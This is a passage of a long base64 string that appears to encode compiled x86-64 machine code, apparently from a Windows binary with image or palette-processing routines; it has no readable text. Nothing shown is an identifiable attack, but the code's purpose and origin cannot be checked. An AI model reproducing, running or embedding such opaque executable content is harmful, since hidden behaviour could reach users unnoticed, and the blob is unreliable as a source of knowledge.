MzMzMSIlcJAhIiXQkGEiJfCQgRItcJBAz9kHHAAEAAABJi/lBxwEBAAAARItMJBBEi9aL3oXSflpFhdJ1A0SLGYsBQTvDdQVB/8LrEoXbdQeJN4sBRIvIQTvBdQ7/w//KSIPBBIXSf9DrA0GJMEQ7034gSItEJChEiRhIi0QkMESJCEiLXCQISIt0JBhIi3wkIMNIi0QkKEiLXCQISIt0JBhIi3wkIESJCEiLRCQwRIkYw8xIiVwkCEiJdCQYSIl8JCBED7ZcJBAz9kHHAAEAAABJi/lBxwEBAAAARA+2TCQQRIvWi96F0n5dRYXSdQRED7YZD7YBQTrDdQVB/8LrFIXbdQmJNw+2AUQPtshBOsF1Df/D/8pI/8GF0n/N6wNBiTBEO9N+IEiLRCQoRIgYSItEJDBEiAhIi1wkCEiLdCQYSIt8JCDDSItEJChIi1wkCEiLdCQYSIt8JCBEiAhIi0QkMESIGMPMzMzMzMzMzMzMzMxIjQVptgMASIkBM8BIiUEwSIlBOEiJQSBIiUEoSIlBQEiJQUhIiUEQSIlBGIlBUEiJQWyJQXTHQWQGAAAASIvBx0Fo/////8PMzMzMzMzMzEBTSIPsIEiNBRO2AwBIi9lIiQFIi0kQSIXJdA3oF4YCAEjHQxAAAAAASItLGEiFyXQN6AGGAgBIx0MYAAAAAEiDxCBbw8zMzMzMzMzMzMzMSIlcJAhXSIPsIIvaSIv56Jz////2wwF0CEiLz+izgAIASIvHSItcJDBIg8QgX8PMSIlcJAhIiXQkEFdIg+wgRQ+3EUGLcQhBi1kMQSsxQStZBGZEK1QkUEiL+WZFiRBBD7dJBEEPtkABZitMJFhmQYlwBGZBiUgCZkGJWAZBx0AIAAAAAGbB4QhMi9pmQcHiCGZBC8JJg8AMZkGJQPRBD7ZA92YLwUEPtkj5ZkGJQPYPt8ZmweAIZgvID7fDZkGJSPhBD7ZI+2bB4AhmC8hmQYlI+g+2RzCDR1gMD6/DSIvPD6/GmYPiBwPCSYvTwfgDAUdUAUdcg8AMAUdgSIsH/1AwD7ZHMA+vw0iLXCQwD6/GSIt0JDiZg+IHA8LB+AODwAxIg8QgX8PMzMzMzMzMzEiD7DiLRCRwTIsRTYvBTItMJGCJRCQoi0QkaIlEJCBB/1JASIPEOMPMzMzMzMzMzEiJVCQQU1VWV0FUQVVIg+wYTGNcJHAz7UGNQQdNi+BMi8KZg+IHRYvpSIvZA8JEi9VJi/vB+ANMiVwkYEhj8EiJNCRFhdt+TUxjTCR4Dx8ASIX2fjBJi/lJi8hIi9ZIK/5JD6/6ZmZmDx+EAAAAAAAPtgQPSI1JAfbQiEH/SP/Kde5Ji/tJ/8JMA8ZMO9d8wEyLRCRYTYXkdWtBi8OZK8LR+Exj0IXAD45IAQAATYvKTA+vzk0DyEiF9n4xSYv6SYvRTIvGSA+v/kj33w8fQAAPtgwXD7YCSI1SAQrB9tAKyIhMF/8IQv9J/8h140j/xUwDzkk76ny/SIPEGEFdQVxfXl1bww+2SyDB6QOLwUEPr8WoA3QG/8CoA3X6RIvBSIX/D47NAAAATIl0JFBImEyJfCQQTIv1TIv9SIlEJAiQsoBEi81Fhe0PjokAAABIi3QkWEyL3WZmDx+EAAAAAABFi9FBweoDTQPXQQ+2PDJAhPp1PUiLxU2FwH41S40cHkqNDCNAOCwIdQpI/8BJO8B88usdQDL6QYg8Mkk7wH0RSI08GEmLyEkD/EgryDPA86rQ6rmAAAAAD7bSD0TRQf/BTQPYRTvNfJdIizQkSIt8JGBIi0QkCEwD/kwD8Ej/z0iJfCRgD4VV////TIt8JBBMi3QkUEiDxBhBXUFcX15dW8PMzMzMzMzMzMzMzMzMzEiNBaGyAwDDzMzMzMzMzMxIiVwkGEiJbCQgQVZIg+wwgHkjAEGL6EyL8kiL2XUc6NwHAACFwHUTM8BIi1wkUEiLbCRYSIPEMEFew4B7MwB154B7IwBIiXQkQEiJfCRISI17GA+EsgAAAA+2S0C+AQAAANPmSIsPSIXJdAXo94ECAEhj9kiNDLUAAAAA6CeCAgBIiQdIhcAPhLMAAABFM8lIhfYPjqcAAABMjVABDx8ARA+3Q0gPtktMQYvB0/hNjVIEQSPAacD/AAAAmUH3+EGIQvtED7dDRA+2S0pBi8HT+EEjwGnA/wAAAJlB9/hBiEL9RA+3Q0YPtktLQYvBQf/B0/hBI8BpwP8AAACZQff4QYhC/Ej/znWX6zVIjVMgTI1EJCBIi8/HRCQiAAH/AGbHRCQgIBjHRCQm/wD/AGbHRCQqEAjGRCQsAP8VKCIFAEiLF0iLdCRASIt8JEhIhdIPhNL+//9Mi8VJi85JweAC6BuLAgBIi1wkUEiLbCRYuAEAAABIg8QwQV7DzMzMzMwzwEiJQVRIiUFcw8zMzMzMuAEAAADDzMzMzMzMzMzMzA+2QTAPr8JBD6/AwegDg8AMw8zMzMzMzMzMzMzMzMzMSIlUJBBWQVVIgeyYAAAAg3lsAE2L6EiL8XUTg3lwAHUNM8BIgcSYAAAAQV1ew0yJpCSQAAAATYug+AQAAE2F5HQSSI1UJGBJi8z/FSisAwCFwHUVM8BMi6QkkAAAAEiBxJgAAABBXV7DSItMJHhIiawkwAAAAEyJvCSAAAAARTP/QYvvSIXJdApBjW8B/xWtpgMASItMJHBIhckPhCACAABMjUQkQLogAAAA/xUPpgMAhcAPhP0BAABmg3wkUAEPhfEBAABmg3wkUgEPheUBAACLRCRISIm8JMgAAAAPr0QkTEhjyOgeeAIASIv4SIXAD4SSAAAAi1QkSEiLTCRwTIvASImcJLAAAAAPr1QkTP8Vs6UDAEiLTCRwi9j/FR6mAwCF23UMSIvP6DqaAgAzwOtOTIm0JIgAAABEi3QkRIXtdHCLbCRIRDl+cA+EVQEAAIvFQQ+vxsHgAkhjyOimdwIASIvYSIXAD4W4AAAASIvP6PKZAgAzwEyLtCSIAAAASIucJLAAAABIi7wkyAAAAEiLrCTAAAAATIu8JIAAAABMi6QkkAAAAEiBxJgAAABBXV7DRItEJEhBi8CZK8LR+IvoRDl+bA+Ee////4tMJExFi85Ii9eJTCQoRIlEJCBFM8BIi87oNvr//4tEJGhEi0wkZEiLlCS4AAAAiWwkMEyLx0iLzkSJdCQoiUQkIOidAgAASIvPRIv46EqZAgBBi8fpUv///0WLzk2LxEiL0EmLzYlsJCDope0BAIXAdRBIi8/oIZkCAEiLy+ki////i0QkTEWLzkyLw4lEJChIi9dIi86JbCQg6LT5//+LRCRoSIuUJLgAAACJbCQ4RIl0JDCJRCQoi0QkZEyLy0yLx0iLzolEJCDodQAAAEiLy0SL+OjCmAIASIvP6LqYAgBBi8fpwv7//0iLTCRw/xV/pAMAM8DpyP7//8zMzMzMzMzMSIPsODPAg3lsAEyLykiJRCQguv///xC4////EQ9FwkiNVCQgQbgMAAAASYvJiUQkKOhKdAIASIPEOMPMzMzMzEiJXCQISIlsJBBIiXQkGEyJTCQgV0FUQVVBVkFXSIPsUIuEJKAAAABEi7wksAAAAESLpCS4AAAATIvxRIvQZsHgCEEPtl4gQcH6CEiL6rr/AAAAwesDTYvoZkQj0sdEJEj///8RQQ+v32ZEC9CLhCSoAAAAi8hmweAIZkSJVCRAwfkIZiPKZgvIQQ+3x2aJTCRCZsHgCEGLz8H5CGYjymYLyEEPt8RmiUwkRGbB4AhBi8zB+QhmI8pmC8hmiUwkRvbDA3QH/8P2wwN1+UEPtn4wwe8DQQ+v/0EPr/xIY8/oFHUCAEyLjCSYAAAASYtOEESJZCQ4RIl8JDBNjUZASY1WIIlcJChIi/BIiUQkIEH/VghIjVQkQEG4DAAAAEiLzegbcwIAhcB0RESLx0iL1kiLzegJcwIAhcB0MkGNRwdIi82Zg+IHRI0EAkmL1UHB+ANFD6/E6OZyAgCFwHQPSIvO6PKWAgC4AQAAAOsKSIvO6OOWAgAzwEyNXCRQSYtbMEmLazhJi3NASYvjQV9BXkFdQVxfw8zMzMzMzMzMzMzMSIlcJAhIiXQkEFdIg+xASIv6i1QkeEG6/wAAAEGLwUmL8ESLhCSAAAAAwfgIZkHB4QjHRCQw////EGZBI8LHRCQgAAAA/2bHRCQk//9mQQvBZolEJCiLRCRwi8hmweAIwfkIZkEjymYLyA+3wmaJTCQqZsHgCIvKwfkIZkEjymYLyEEPt8BmiUwkLGbB4AhBi8jB+QhmQSPKZgvIjUIHmWaJTCQuSIvPg+IHjRwCSI1UJCjB+wNBD6/YQbgMAAAA6NtxAgCFwHRTSI1UJCBBuAYAAABIi8/oxHECAIXAdDxIY9NEi8NIi89IA9bor3ECAIXAdCdEi8NIi9ZIi8/onXECAIXAdBW4AQAAAEiLXCRQSIt0JFhIg8RAX8NIi1wkUEiLdCRYM8BIg8RAX8PMzLgGAAAAg/oJD0bCiUFkw8wPtgJMi8pBD6/AmYPiBwPCwfgDgHkxAIlBUEEPEAEPEUEgdQa4AQAAAMPpIQAAAMyDyP+D+gkPRsKJQWjDzMzMDxACDxFBMOkEAAAAzMzMzEiD7CgPEEEwSIvRDxFBQEQPtklAQY1B+KjnD4XpAQAAQYD5GA+E3wEAAA+2SSBIiXwkII1B+KjnD4W/AQAAgPkYD4S2AQAAD7ZCQ4TAdQpBgPkID4WkAQAARA+2QiNFhMB1CYD5CA+FkQEAAITAdThFhMB1KEE6yXUaSIt8JCBIjQWqbAEASIlCCLgBAAAASIPEKMNFhMAPhGABAAAPEAWUqQMADxFCQEiJXCQwRYTAdVhED7ZKQA+2yUiNWhBIwekEScHpBEyNHVOv//9JjQRJTI1CQEiDwiBIA8hJi4TLcGsFAEiLy0iJQuhD/5TLOGsFAEiLfCQgM8BIOQNIi1wkMA+VwEiDxCjDRA+2SkBEOsl1fw+2QiE4QkF1dkQPtlpDRTrYdWwPtkIiOEJCdAZBgPkIdV1FhNt0OQ+3QiRmOUJEdU4Pt0ImZjlCRnVED7dCKGY5Qkh1Og+2Qio4Qkp1MQ+2Qis4Qkt1KA+2Qiw4Qkx1H0iLXCQwSIt8JCBIjQWrawEASIlCCLgBAAAASIPEKMNFD7bJTI0dgq7//0iNWhBJwekETI1CQID5EHUgS4uEy4hrBQBIg8IgSIvLSIlC6EP/lMsgawUA6ST///8PtslIg8IgSMHpBEmNBElIA8hJi4TLwGsFAEiLy0iJQuhD/5TLUGsFAOn2/v//M8BIi3wkIEiDxCjDM8BIg8Qow0iJXCQISIlsJBBIiXQkGFdBVkFXSIPsQA+2QSCLcVBBi3kMQYtZCEEreQTB6ANBD68BQSsZTYvwTGPAiXwkOIvGTIv5iVwkMIl0JChMiXQkIEEPr0EETGPISo0EAkyNQUBIjVEgSItJEEwDyEH/VwhIi1wkYEiLbCRoSIt0JHBIg8RAQV9BXl/DzMzMzMzMzEBTSIPsIEiL2egy8f//SI0F86cDAEiJAzPASIlDeEiJg4AAAABIi8NIg8QgW8PMzEBTSIPsIEiNBcunAwBIi9lIiQFIi0l4SIXJdA3oN5ICAEjHQ3gAAAAASIvLSIPEIFvpKvH//8zMzMzMzMzMzMxIiVwkCFdIg+wgi9pIi/norP////bDAXQISIvP6CNyAgBIi8dIi1wkMEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wwQQ+3AUGLcQhBi2kMQSsxQStpBESLpCSAAAAAZkGJAEiL2Q+3yIvBZkErzEmL+EErxEyL+kEPt1EEwfgIZkGJcARmQYloBmZBiVACQbgAAQAATYvxQbn/AAAAx0cIAAAAAmZBD6/IZkEjwWYzwWaJBw+3wouUJIgAAACLyGYrwivKwfkIZkEjyWZBD6/AZjPID7fGZolPAg+2TwVmweAIZgvID7fFZolPBA+2TwdmweAIZgvIZolPBkQPtmswQcHtA0QPr+1ED6/uTDmrgAAAAHNVSItLeEiFyXQN6OyQAgBIx0N4AAAAAEmNTQHoe24CAEiJQ3hIhcB1JouEJIgAAABNi85Mi8eJRCQoSYvXSIvLRIlkJCDoOfD//+nzAAAATImrgAAAAEiLA0yLQ3hNi85Ji9dIi8v/UDAPtkMwPAh0TDwQdCY8IHWwi4OAAAAASItLeEiNVxCD6BBEi81Ei8aJRCQg6AoFAADrQouDgAAAAEiLS3hIjVcQg+gQRIvNRIvGiUQkIOjoAQAA6yCLg4AAAABIi0t4SI1XEIPoEESLzUSLxolEJCDotgcAAIvQhcAPiEL///+LyCUA/wAAweAIwfkIgeEA/wAAC8iLwsHgGCUAAAD/C8iLwsHoGAvIiU8MD7ZLMINDWAyLwcHpAw+vxQ+vxsHoAwFDVI1BCA+vwgPIjUEEAUNcjUEQAUNgjUEQSItcJGBIi2wkaEiLdCRwSIPEMEFfQV5BXUFcX8PMzMzMSI0FWaUDAMPMzMzMzMzMzOn78///zMzMzMzMzMzMzMxAU0iD7CBFM8lFMttBi9hMi9FBg/gIdB+D+xB1CQ+3AUiDxCBbw4P7IA+FnwAAAIsBSIPEIFvDSIl8JDBIjT2dOwUAuRAAAABIi8cPH0QAAEyJCEyJSAhMiUgQSI1AQEyJSNhMiUjgTIlI6EyJSPBMiUj4SP/JddhMY8KF0n5ASYvSSPfaZmZmDx+EAAAAAABBD7YagfsAAQAAfVWLBJ9IjQyf/8CJAUE7wX4HRIvIRA+220n/wkqNBBJJO8B80UEPtsNIi3wkMEiDxCBbw+hpjAIASI0V9qIDAESLw0iNSGDoao0CALkBAAAA6DSLAgDM6EaMAgBMjQXrogMASI0V9KIDAEiNSGBEi8voQI0CALkBAAAA6AqLAgDMzMzMzMxEiUwkIEiJVCQQSIlMJAhTVVZXQVRBVUFWQVdIg+xISWPwM+1Ii9qLxkSNRRBIi/mJrCSgAAAAQQ+vwYvQiUQkLOia/v//i4wkqAAAAEUz9maJA7sCAAAAi9CJRCQgiR1YOgUAhckPjnkCAABEi5QkqAAAAESLrCSoAAAARTPJRIlMJCQPH0AADx+EAAAAAABJY8FFM/9FM+RMjQRHTIlEJDiF9g+OJwIAAI1DColEJChHD7cEYGZEO8IPhPgBAABFjV7/vQEAAABFi85EO/EPjX8AAACLXCQkDx+AAAAAAEhjw0iNFEdmRjkEYnVgQYvPSYvETDvmfRgPH4AAAAAAZkQ5BEJ1Ckj/wP/BSDvGfO//yUU7znUIRIvpRIvR6wdBO8pED0zRhe1+CkE7zXwFQf/D6wIz7UiLvCSQAAAAQf/BA95EO4wkqAAAAHySix1oOQUARSveRSvOQYv9QSv/Qf/DQYvSQSvX/8dBi8P/wkGLyQ+vxw+vyjvBfwWL+kWL2USLTCQouv8AAABBD7fHZsHgCEGLz8H5CGYjymYLyEEPt8ZmiUwkMGbB4AhBi87B+QhmI8pmC8gPt8dmiUwkMmbB4AiLz8H5CGYjymYLyEEPt8NmiUwkNGbB4AhBi8vB+QhmI8pmC8iLRCQsA8BmiUwkNkQ7yA+P+wAAAEQ7jCSwAAAAD4/tAAAASIuUJJgAAACLrCSgAAAASGPDZkSJBBBIi0QkMIPDAkhjy//FQYPBCkiJBBGDwwhDjQQzSWPWTGPYiawkoAAAAIkdazgFAESJTCQoSTvTfUpIi5wkkAAAAItsJCBCjQQ/TGPITWPHTTvBfRpIi8ZJi8lID6/CSQPASSvISI08Qw+3xWbzq0j/wkk703zZix0eOAUAi6wkoAAAAItUJCCLjCSoAAAASIu8JJAAAABMi0QkOEH/x0n/xEQ7/g+M5f3//0SLTCQkRAPOQf/GRIlMJCREO/EPjKv9//+LxUiDxEhBX0FeQV1BXF9eXVvDg8j/6+rMzMxEiUwkIEiJVCQQSIlMJAhTVVZXQVRBVUFWQVdIg+xISWPwM+1Ii9qLxkSNRSBIi/mJrCSgAAAAQQ+vwYvQiUQkLOia+///i4wkqAAAAEUz9okDuwQAAACL0IlEJCCJHVk3BQCFyQ+ObAIAAESLlCSoAAAARIusJKgAAABFM8lEiUwkJEljwUUz/0Uz5EyNBIdMiUQkOIX2D44mAgAAjUMMiUQkKA8fQAAPH4QAAAAAAEeLBKBEO8IPhO0BAABFjV7/vQEAAABFi85EO/F9dYtcJCRIY8NIjRSHRjkEonVeQYvPSYvETDvmfRZmDx9EAABEOQSCdQpI/8D/wUg7xnzw/8lFO851CESL6USL0esHQTvKRA9M0YXtfgpBO818BUH/w+sCM+1Ii7wkkAAAAEH/wQPeRDuMJKgAAAB8lYsdeTYFAEUr3kUrzkGL/UEr/0H/w0GL0kEr1//HQYvD/8JBi8kPr8cPr8o7wX8Fi/pFi9lEi0wkKLr/AAAAQQ+3x2bB4AhBi8/B+QhmI8pmC8hBD7fGZolMJDBmweAIQYvOwfkIZiPKZgvID7fHZolMJDJmweAIi8/B+QhmI8pmC8hBD7fDZolMJDRmweAIQYvLwfkIZiPKZgvIi0QkLI0EhQAAAABmiUwkNkQ7yA+P+QAAAEQ7jCSwAAAAD4/rAAAASIuUJJgAAACLrCSgAAAASGPDRIkEEEiLRCQwg8MESGPL/8VBg8EMSIkEEYPDCEONBDNJY9ZMY9iJrCSgAAAAiR14NQUARIlMJChJO9N9SUiLnCSQAAAAi2wkIEKNBD9MY8hNY8dNO8F9GUiLxkmLyUgPr8JJA8BJK8hIjTyDSIvF86tI/8JJO9N82osdLDUFAIusJKAAAACLVCQgi4wkqAAAAEiLvCSQAAAATItEJDhB/8dJ/8REO/4PjPL9//9Ei0wkJEQDzkH/xkSJTCQkRDvxD4ys/f//i8VIg8RIQV9BXkFdQVxfXl1bw4PI/+vqzESJTCQgSIlUJBBIiUwkCFNVVldBVEFVQVZBV0iD7EhJY+hFM/ZIi9qLxUWNRghIi/lEibQkoAAAAEEPr8GL0IlEJCzoqPj//0G7AQAAAEUz/4vQiUQkIIgDi4QkqAAAAESJHWU0BQCFwA+ObQIAAESLlCSoAAAARIusJKgAAABFM8lEiUwkJGYPH4QAAAAAAE1jwUUz5DP2TAPHTIlEJDiF7Q+OIAIAAEGNSwmJTCQoRg+2BAZEOsIPhPEBAABBjV//Qb4BAAAARYvPRDv4fX1Ei1wkJGZmZg8fhAAAAAAASWPTSAPXRDgEFnVaQYvMSIvGSDv1fRBEOAQQdQpI/8D/wUg7xXzw/8lFO891CESL6USL0esHQTvKRA9M0UWF9n4JQTvNfAT/w+sDRTP2SIu8JJAAAABB/8FEA91EO4wkqAAAAHyaRIsdfzMFAEEr30Urz0GL/UEr/P/DQYvSQSvU/8eLw//CQYvJD6/HD6/KO8F/BYv6QYvZRItMJCi6/wAAAEGLzMH5CEEPt8RmI8pmweAIZgvIQQ+3x2aJTCQwZsHgCEGLz8H5CGYjymYLyA+3x2aJTCQyZsHgCIvPwfkIZiPKZgvID7fDZolMJDRmweAIi8vB+QhmI8pmC8hmiUwkNkQ7TCQsD48CAQAARDuMJLAAAAAPj/QAAABIi5QkmAAAAESLtCSgAAAASWPDQf/DRIgEEEiLRCQwSWPLQYPDCEH/xkiJBBFBg8EJQo0EO0SJHZQyBQBJY9dMY9hEibQkoAAAAESJTCQoSTvTfUVIi5wkkAAAAESLdCQgQo0EJ0xjyE1jxE07wX0ZSIv9SYvJQQ+2xkgPr/pJA/hIA/tJK8jzqkj/wkk703zaRIu0JKAAAACLVCQgRIsdLDIFAIuEJKgAAABIi7wkkAAAAEyLRCQ4Qf/ESP/GRDvlD4zt/f//RItMJCREA81B/8dEiUwkJEQ7+A+MtP3//0GLxkiDxEhBX0FeQV1BXF9eXVvDg8j/6+rMzMzMzMzMzMzMzEiJTCQIV0iD7DBIx0QkIP7///9IiVwkSEiL2egA5P//kEiNBXidAwBIiQMz/0iJuxAqAACJuxgqAAC5FAQAAOjEYgIASImDACoAAEiJuyAqAACJu+gpAABIi8NIi1wkSEiDxDBfw8zMzMzMzMzMzMxIiVwkCEiJdCQQSIl8JBhBVkiD7CBIjQUUnQMATIvxSIkBSIuJECoAAEiFyXQQ6MWEAgBJx4YQKgAAAAAAAEmLjgAqAADoroQCAEmNnugpAABJjb6IKAAAvgQAAAAPHwCAOwB0CEiLz+hDEQEAxgMASP/DSIPHWEj/znXkSYvOSItcJDBIi3QkOEiLfCRASIPEIEFe6Wfj///MzMzMzMzMSIlcJAhXSIPsIIvaSIv56Ez////2wwF0CEiLz+hjZAIASIvHSItcJDBIg8QgX8PMSIlcJAhMY1lQSItcJDhBi8NBD6/BQo0EQEhjyEgDyoB8JEAARA+3AXQQQQ+3wDsDdAgywEiLXCQIw0SLVCQwRTPJRYXSfipIY1QkKA8fQAAzwEiF0n4PZkQ7BEF11Ej/wEg7wnzxQf/BSQPLRTvKfN9BD7fAiQNIi1wkCLABw8xIiVwkCExjWVBIi1wkOEGLw0EPr8FCjQSASGPISAPKgHwkQABEiwF0DUQ7A3QIMsBIi1wkCMNEi1QkMEUzyUWF0n4pSGNUJCgzwEiF0n4PkEQ7BIF12Ej/wEg7wnzyQf/BSQPLSYvDRTvKfNxEiQNIi1wkCLABw8zMzMzMzMzMzEiJXCQITGNZUEiLXCQ4QYvDQQ+vwUEDwEhjyEgDyoB8JEAARA+2AXQQQQ+2wDsDdAgywEiLXCQIw0SLVCQwRTPJRYXSfipIY1QkKA8fRAAAM8BIhdJ+DkQ6BAh11Ej/wEg7wnzyQf/BSQPLRTvKfOBBD7bAiQNIi1wkCLABw8zMSIPsSA+2QSA8EHRBPCAPtoQkiAAAAIhEJDhIi4QkgAAAAEiJRCQwi0QkeIlEJCiLRCRwiUQkIHQK6EL///9Ig8RIw+i4/v//SIPESMMPtoQkiAAAAIiEJIgAAABIg8RI6Rv+///MzMzMzMzMzMzMzEBWV0FUSIPsUElj8UyL4kiL+YP+DH0dSIuRECoAAEyLxkmLzOhncQIAi8ZIg8RQQVxfXsNIiVwkcEiJbCR4i6wkkAAAAEyJrCSAAAAARIusJJgAAABMiXQkSE1j8EiNmYgoAABJa8ZYSAPYQYC8DugpAAAAdWAzwMdEJDhYAAAAQbkPAAAASIlDMEiJQzhIiUNASI0FJ5oDAEWNQfmL1UiJRCQwSIvLRIlsJCjHRCQgCQAAAOgHDwEAhcB0CIPI/+mbAAAAQcaEPugpAAABQomst+wpAAC4H4XrUUyJfCRARI1+EPfuwfoFi8LB6B8D0EiLhxAqAACJcwhEA/pMiWMQSIkDRIl7GEI7rLfsKQAAdBlFi8WL1UiLy+gREQEAhcB1NUKJrLfsKQAAugIAAABIi8voCAsBAIXAdRw5Qwh1F4tDGIXAdBBEK/hIi89Bi9fomjEAAOsDg8j/TIt8JEBMi6wkgAAAAEiLbCR4SItcJHBMi3QkSEiDxFBBXF9ew0iLxESJQBiJUBBIiUgIU1ZBVUiB7MAEAABIiWjgSIl42EyJeMBFM+1JY+hMY/pBi8VFi81Bi904WTJBuAAEAACJXCQgQQ+UwThBIg+UwEE7wQ+2QTqJRCRAD7ZBO0APlceJRCRED7ZBPEiNjCSQAAAAM9KJRCRI6BR1AgBFi81EiWwkJEWL1USJrCT4BAAAvv8AAACF7Q+OegIAAEGL1UyJpCSoBAAASYvPTIm0JKAEAABFi8VMiWwkOEiJVCQwTIvdSIlsJHhMO8EPjS0CAACLxUWL5USJbCQoQSvBSYv1TIlsJGBImEiJhCSAAAAASIXAD460AQAATIvxQYvHQSvCg8D5TA+v8k0D8IlEJFRMiXQkcEQ74A+NaQEAAEiLlCTgBAAASY0MNkiLghAqAABMjRxID7cESECE/3QEZsHACEQPt2wkQA+3cjQPt9gPt0QkRIvrRIv7iUQkUEGLzUmDwwJEi2QkUNPti8gPt0I2QdPvI+5EI/gPt0QkSEjHRCRoBwAAAIvID7dCONPrRIvxI9iDRCQgBw8fhAAAAAAAQQ+3A0CE/3QEZsHACEQPt9BBi81Fi8JB0+hBi8xEI8ZBi8ArxUGL6EWLwplB0+hIi4wk4AQAAESLyA+3QTZBi85EI8BEM8pB0+pIi4wk4AQAAEQrykGLwEErx0WL+JkzwivCRAPID7dBOEQj0EGLwivDQYvamTPCK8JEA8i4/wAAAEQ7yEQPT8hJg8MCSWPB/4SEkAAAAEj/TCRoD4Ve////SIt0JGBEi2QkKEyLdCRwTGO8JOgEAACLRCRUSP/GQf/ETQP3SIl0JGBEiWQkKEmLz0yJdCRwSDu0JIAAAAAPjI7+//9Ii1QkMEyLRCQ4RItMJCREi5Qk+AQAAIusJPAEAABMi1wkeEUz7UQ7/X4gRAPVTQPDRYvNRIlsJCRJi9VMiUQkOESJlCT4BAAA6x5FA89Fi9VEiawk+AQAAE2LxUyJbCQ4SAPRRIlMJCRIiVQkMEk70w+Myv3//4tcJCBMi7QkoAQAAEyLpCSoBAAAvv8AAABEi5wkkAAAAIuMJJQAAABMi7wkmAQAAEiLvCSwBAAASIusJLgEAABBA8trwWSZ9/uD+FoPjXYBAABFi81BuAEAAABIjYwklAAAAIsRi8JBD6/AQQ+vwEQDyIXSD4ROAQAAi0H8A8A70A+PQQEAAEH/wEiDwQRBg/gIfM+4AAEAAEErwEGB+AABAAAPjYwAAACD+AQPgoMAAACDPfoKBQACfHpmD28dkJUDACUDAACAfQf/yIPI/P/AuQABAAAPV9IryA8fhAAAAAAAZkEPbshJY8BBg8AE8w9vhISQAAAAZg9wyQBmD/7LZg84QMFmDzhAwWYP/sJmD2/QRDvBfMtmD3PYCGYP/tBmD2/CZg9z2ARmD/7QZg9+0EQDyEWL1UGB+AABAAB9cbgAAQAAQSvAg/gCfD8PH0QAAEljwEiNDIUAAAAAi4QMkAAAAIuMDJQAAABBD6/AQQ+vwEQD6EGNQAFBg8ACD6/ID6/IRAPRRDvGfMZBgfgAAQAAfRVJY8iLlIyQAAAAQQ+v0EEPr9BEA8pDjQwqRAPJQSvbM9JBi8H380iBxMAEAABBXV5bwzPASIHEwAQAAEFdXlvDzMzMzMzMzMzMzMzMzESJRCQYiVQkEEiJTCQIU0FWSIHsmAQAAEUz9kiNTCRgM9JBi95BuAAEAACJXCQk6HxwAgBMY4wkwAQAAEGL1kWLxkSJtCTIBAAAiVQkIEWFyQ+O8wEAAEyLnCSwBAAATGOUJLgEAABIiawkkAQAAEiJtCSIBAAASIm8JIAEAABBi85BOEsyTImkJHgEAABMiawkcAQAAA+Vw0yJvCRoBAAARYvuTIl0JChIiUwkMEmL8UiJXCRQTYv6TIlMJEhmkEk7zw+NTQEAAEGLwUGL7kmL/ivCTGPghcAPjvEAAABJi/dFi/JFK/BJD6/1RItsJCRBg8b5SAPxDx+EAAAAAABBO+4PjZQAAABJi4MQKgAATI1bBEiNDD5IjQyITAPZD7YEGYlEJDgPtkQZAYlEJDwPtkQZArsHAAAAiUQkQEQD602Ly0iNTCQ4QboDAAAAkEUPtgFNjUkBSI1JBEGLwCtB/ESJQfyZM8IrwkiY/0SEYEn/ynXaSYPDBEj/y3XCTIucJLAEAABIi1wkUEj/x//FSQP3STv8D4xj////SItMJDCLVCQgRIuEJMgEAABEi4wkwAQAAESLlCS4BAAASIt0JEhEiWwkJEyLbCQoRTP2RTvRfhZFA8FBi9ZNi+5EiYQkyAQAAEgDzusUQQPSRYvGRIm0JMgEAABNA+9Ji85MiWwkKIlUJCBIiUwkMEw77g+Mqv7//4tcJCRMi7wkaAQAAEyLrCRwBAAATIukJHgEAABIi7wkgAQAAEiLtCSIBAAASIusJJAEAABEi1QkYEFrwiGZ9/uD+F8PjVsBAABFi866AQAAAEiNTCRkDx9AAESLAUGLwA+vwg+vwkQDyEWFwA+EMgEAAItB/APARDvAD48kAQAA/8JIg8EEg/oIfM+4AAEAACvCgfoAAQAAfXyD+ARyd4M9FAcFAAJ8bmYPbx2qkQMAJQMAAIB9B//Ig8j8/8C5AAEAAA9X0ivIZpBmD27KSGPCg8IE8w9vRIRgZg9wyQBmD/7LZg84QMFmDzhAwWYP/sJmD2/QO9F80WYPc9gIZg/+0GYPb8JmD3PYBGYP/tBmD37QRAPIRYvGgfoAAQAAfWu4AAEAACvCg/gCfEAPH0AAZg8fhAAAAAAASGPCSI0MhQAAAACLRAxgi0wMZA+vwg+vwkQD8I1CAYPCAg+vyA+vyEQDwYH6/wAAAHzNgfoAAQAAfRBIY8KLTIRgD6/KD6/KRAPJQ40MMEQDyY0MWzPSQYvBQSvK9/FIgcSYBAAAQV5bwzPASIHEmAQAAEFeW8PMzMzMzMzMzMxIi8REiUAYiVAQSIlICFNBVUFWSIHsoAQAAEiJaOBFM+1IiXDYSIl40EGLxUWLzUGL3Ulj8Ehj6jhZMkG4AAQAAIlcJCBBD5TBOEEiD5TAQTvBD7dBNEiNTCRwQA+VxzPSiUQkROh2bAIARYvNRIlsJCRFi9VEiawk2AQAAEG+/wAAAIX2D46iAgAAQYvVTImkJIAEAABIi81MibwkeAQAAEWLxUyJbCQ4SIlUJDBMi95IiXQkaEw7wQ+NVAIAAIvGRYvlRIlsJChBK8FNi/VMiWwkSEiYSIlEJGBIhcAPjt8BAABEi2wkREyL+YvFQSvCg8D5TA+v+k0D+EyJfCRYiUQkQEQ74A+NkAEAAEiLlCTABAAAS40MN0iLghAqAABEixyISI0ciECE/3QsQYvLQYvDwegQgeEAAP8AC8hBi8NBweMQJQD/AADB6QhBC8NEi9nB4AhEC9hED7ZyOkQPt2I2RA+3ejhBi/NBi+tBi87T7g+2SjtIg8ME0+0Ptko8QSP1QdPrQSPsSMdEJFAHAAAARSPfg0QkIAcPH0QAAESLA0CE/3QsQYvIQYvAwegQgeEAAP8AC8hBi8BBweAQJQD/AADB6QhBC8BEi8HB4AhEC8BFi8hBi85B0+lIi4wkwAQAAA+2STtFI81Bi8ErxkGL8UWLyJlB0+lIi4wkwAQAAA+2STxEi9BFI8xEM9JB0+hBi8ErxUQr0kUjx5lBi+kzwivCRAPQQYvAQSvDRYvYmTPCK8JEA9C4/wAAAEQ70EQPT9BIg8MESWPC/0SEcEj/TCRQD4VE////TIt0JEhEi2QkKEyLfCRYSGOsJMgEAACLRCRASf/GQf/ETAP9TIl0JEhEiWQkKEiLzUyJfCRYTDt0JGAPjGf+//9Ii1QkMEyLRCQ4RItMJCREi5Qk2AQAAIu0JNAEAABMi1wkaEUz7TvufiBEA9ZNA8NFi81EiWwkJEmL1UyJRCQ4RImUJNgEAADrHkQDzUWL1USJrCTYBAAATYvFT